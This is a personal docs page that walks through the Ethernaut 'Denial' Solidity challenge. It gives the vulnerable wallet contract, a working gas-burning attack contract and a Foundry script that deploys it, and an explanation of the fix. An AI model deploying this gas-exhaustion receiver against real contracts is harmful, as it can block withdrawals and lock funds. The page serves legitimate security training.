Eridian
eridian.xyzx.comGitHub
  • 📖Eridian Docs
  • Ethereum Dev
    • ✏️Ethereum Notes
      • 🎛️Technical Basics
      • 🪧Ethereum Addresses
      • 📚Ethereum State Explained
      • ⛽Gas Fees Explained
    • 🔧Useful Tools
      • ☁️Ethers
      • *️⃣Ethernal
    • 📝Solidity Notes
      • ❔Interview Questions
        • 🟢1. Easy - Interview Questions
        • 🟠2. Medium - Interview Questions
        • 🟡3. Hard - Interview Questions
        • 🔴4. Advanced - Interview Questions
      • 💡Note Ideas
      • ABI
      • abi.encodePacked
      • Abstract Contracts
      • Arrays
      • Casting
      • CEI - Checks, Effects, Interactions
      • Comments (NATSPEC)
      • Constructor
      • Contract Structure & Versions
      • Data - Storage vs Memory
      • Data - Storage Layout
      • Enum
      • Errors (require & revert)
      • Events
      • EVM Opcodes
      • External Contract Interaction
      • 🏗️External Dependencies
      • Functions
      • Function Modifiers
      • If / Else / For / While Loops
      • Inheritance
      • Interfaces
      • Keccak256
      • Library
      • Mappings
      • msg.sender
      • Objects & Types
      • OpenZeppelin
      • Payable
      • Public State Variable vs Function
      • Receive & Fallback
      • Security
      • Self Destruct
      • Send ETH (transfer, send, call)
      • Stack Too Deep
      • Structs
      • Style Guide
      • Time Units
      • Try / Catch
      • Typecasting
      • Using Directive
      • Variables, Consts & Immutable
      • Withdraws
    • ⚒️Foundry Notes
      • 📖Docs & GitHub Pages
      • 🤝Useful Commands
        • 🔨Anvil
        • 🪄Cast
        • 🔥Forge
      • 🧪Tests
        • Cheatcodes
      • 📝Useful Scripts
        • Deploy Contract Using Hex
    • 👾DeFi Challenges
      • 👨‍🚀Ethernaut
        • Ethernaut - Template
        • Level 1 - Fallback ⏺
        • Level 2 - Fallout ⏺
        • Level 3 - Coin Flip ⏺⏺
        • Level 4 - Telephone ⏺
        • Level 5 - Token ⏺⏺
        • Level 6 - Delegation ⏺⏺
        • Level 7 - Force ⏺⏺⏺
        • Level 8 - Vault ⏺⏺
        • Level 9 - King ⏺⏺⏺
        • Level 10 - Re-entrancy ⏺⏺⏺
        • Level 11 - Elevator ⏺⏺
        • Level 12 - Privacy ⏺⏺⏺
        • Level 13 - Gatekeeper 1 ⏺⏺⏺⏺
        • Level 14 - Gatekeeper 2 ⏺⏺⏺
        • Level 15 - Naught Coin ⏺⏺⏺
        • Level 16 - Preservation ⏺⏺⏺⏺
        • Level 17 - Recovery ⏺⏺⏺
        • Level 18 - Magic Number ⏺⏺⏺
        • Level 19 - Alien Codex ⏺⏺⏺⏺
        • Level 20 - Denial ⏺⏺⏺
        • Level 21 - Shop ⏺⏺
        • Level 22 - Dex ⏺⏺
        • Level 23 - Dex Two ⏺⏺
        • Level 24 - Puzzle Wallet ⏺⏺⏺⏺
        • Level 25 - Motorbike ⏺⏺⏺
        • Level 26 - DoubleEntryPoint ⏺⏺
        • Level 27 - Good Samaritan ⏺⏺⏺
        • Level 28 - Gatekeeper 3 ⏺⏺⏺
        • Level 29 - Switch ⏺⏺⏺⏺
        • Level 30 - Higher Order ⏺⏺⏺⏺
        • Level 31 - Stake ⏺⏺⏺
      • 💸Damn Vulnerable DeFi
    • 🔍Auditing
      • 🗞️Exploit Resources
      • 🔧Audit Tools
    • 🤖MEV
  • Infrastructure Docs
    • 💻Hardware
    • 🐧Linux
      • 📖Linux Glossary
      • ⌨️Linux Commands
      • 💾Installation
      • 🏗️Maintenance
      • 🖥️Ubuntu Desktop
      • 🛜ZeroTier
      • 🎞️TMUX
      • 🔵Bluetooth
    • ⛓️Ethereum Clients
      • ⚙️Execution Clients
        • ⛏️Geth
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🐻Erigon
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🧶Besu
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 🤝Beacon Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🪅Teku
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💎Validator Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • ➕L2 Clients
        • 🔵Base
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💰MEV Boost
        • 💾Installation
        • 🏗️Maintenance
    • 🚨Alerting and Monitoring
      • 🔥Prometheus
      • 🌡️HealthChecks.io
      • 📟PagerDuty
  • General Dev
    • 💾Git Notes
      • Repos
      • Committing changes
      • Branches
      • Merging & Rebasing
      • PRs
Powered by GitBook
On this page
  • Level Setup
  • Level Contract
  • Exploit
  • Completion Message
  • Notes
Edit on GitHub
  1. Ethereum Dev
  2. DeFi Challenges
  3. Ethernaut

Level 20 - Denial ⏺⏺⏺

Last updated 9 months ago

Level Setup

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Exploit

make anvil-exploit-level-20

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-20

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ================================================================
// │                        LEVEL 20 - DENIAL                     │
// ================================================================
contract AttackContract {
    uint256 counter;

    function burn() internal {
        while (gasleft() > 0) {
            counter += 1;
        }
    }

    receive() external payable {
        burn();
    }
}
script/Level20.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

import {AttackContract} from "src/Level20.sol";

// ================================================================
// │                        LEVEL 20 - DENIAL                     │
// ================================================================
interface IDenial {
    function withdraw() external;
    function setWithdrawPartner(address _partner) external;
}

contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IDenial denial = IDenial(targetContractAddress);

        vm.startBroadcast();
        denial.setWithdrawPartner(address(new AttackContract()));
        vm.stopBroadcast();
    }
}

Submit instance... 🥳

Completion Message

This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.

If you are using a low level call to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example call.gas(100000).value().

Note: An external CALL can use at most 63/64 of the gas currently available at the time of the CALL. Thus, depending on how much gas is required to complete a transaction, a transaction of sufficiently high gas (i.e. one such that 1/64 of the gas is capable of completing the remaining opcodes in the parent call) can be used to mitigate this particular attack.

Notes

Typically one should follow the pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.

👾
👨‍🚀
checks-effects-interactions
https://ethernaut.openzeppelin.com/level/20
Logo
ethernaut/contracts/src/levels/Denial.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub
ethernaut-foundry/src/Level20.sol at 26ebb8956b333626f21e90a270ad87a258233f49 · EridianAlpha/ethernaut-foundryGitHub
ethernaut-foundry/script/Level20.s.sol at 26ebb8956b333626f21e90a270ad87a258233f49 · EridianAlpha/ethernaut-foundryGitHub
ethernaut-openzeppelin-hacks/level_20_Denial.md at e936301859334383d568a614084917100319205e · nvnx7/ethernaut-openzeppelin-hacksGitHub
Logo
Logo
Logo
Logo